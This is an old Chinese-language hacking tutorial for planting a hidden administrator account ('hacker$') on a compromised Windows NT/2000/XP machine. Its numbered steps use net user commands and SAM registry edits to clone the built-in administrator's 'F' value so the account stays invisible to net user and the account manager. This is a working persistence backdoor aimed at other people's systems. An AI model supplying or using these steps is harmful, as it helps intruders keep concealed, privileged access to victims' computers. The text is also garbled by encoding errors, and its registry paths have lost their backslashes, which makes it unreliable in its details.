如何給Windows建立一個(gè)隱藏超級用戶(hù)
2009-08-28 17:47:21網(wǎng)絡(luò )資源
對regedit.exe我想大家都很熟悉,但卻不能對注冊表的項鍵設置權限,而regedt32.exe最大的優(yōu)點(diǎn)就是能夠對注冊表的項鍵設置權限。nt/2000/xp的帳戶(hù)信息都在注冊表的HKEY_LOCAL_MACHINESAMSAM鍵下,但是除了系統用戶(hù)SYSTEM外,其它用戶(hù)都無(wú)權查看到里面的信息,因此我首先用regedt32.exe對SAM鍵為我設置為“完全控制”權限。這樣就可以對SAM鍵內的信息進(jìn)行讀寫(xiě)了了。具體步聚如下:
1、假設我們是以超級用戶(hù)administrator登錄到開(kāi)有終端服務(wù)的肉雞上的,首先在命令行下或帳戶(hù)管理器中建立一個(gè)帳戶(hù):hacker$,這里我在命令行下建立這個(gè)帳戶(hù) net user hacker$ 1234 /add
2、在開(kāi)始/運行中輸入:regedt32.exe并回車(chē)來(lái)運行regedt32.exe。
3、點(diǎn)“權限”以后會(huì )彈出窗口點(diǎn)添加將我登錄時(shí)的帳戶(hù)添加到安全欄內,這里我是以administrator的身份登錄的,所以我就將 administrator加入,并設置權限為“完全控制"。這里需要說(shuō)明一下:最好是添加你登錄的帳戶(hù)或帳戶(hù)所在的組,切莫修改原有的帳戶(hù)或組,否則將會(huì )帶來(lái)一系列不必要的問(wèn)題。等隱藏超級用戶(hù)建好以,再來(lái)這里將你添加的帳戶(hù)刪除即可。
4、再點(diǎn)“開(kāi)始”→“運行”并輸入"regedit.exe" 回車(chē),啟動(dòng)注冊表編輯器regedit.exe。 打開(kāi)鍵:HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"
5、將項hacker$、00000409、000001F4導出為hacker.reg、409.reg、1f4.reg,用記事本分別打這幾個(gè)導出的文件進(jìn)行編輯,將超級用戶(hù)對應的項000001F4下的鍵"F"的值復制,并覆蓋hacker$對應的項00000409下的鍵"F"的值,然后再將00000409.reg與hacker.reg合并。
6、在命令行下執行net user hacker$ /del將用戶(hù)hacker$刪除:net user hacker$ /del
7、在regedit.exe的窗口內按F5刷新,然后打文件-導入注冊表文件將修改好的hacker.reg導入注冊表即可
8、到此,隱藏的超級用戶(hù)hacker$已經(jīng)建好了,然后關(guān)閉regedit.exe。在regedt32.exe窗口內把HKEY_LOCAL_MACHINESAMSAM鍵權限改回原來(lái)的樣子(只要刪除添加的帳戶(hù)administrator即可)。
9、注意:隱藏的超級用戶(hù)建好后,在帳戶(hù)管理器看不到hacker$這個(gè)用戶(hù),在命令行用“net user”命令也看不到,但是超級用戶(hù)建立以后,就不能再改密碼了,如果用net user命令來(lái)改hacker$的密碼的話(huà),那么在帳戶(hù)管理器中將又會(huì )看這個(gè)隱藏的超級用戶(hù)了,而且不能刪除。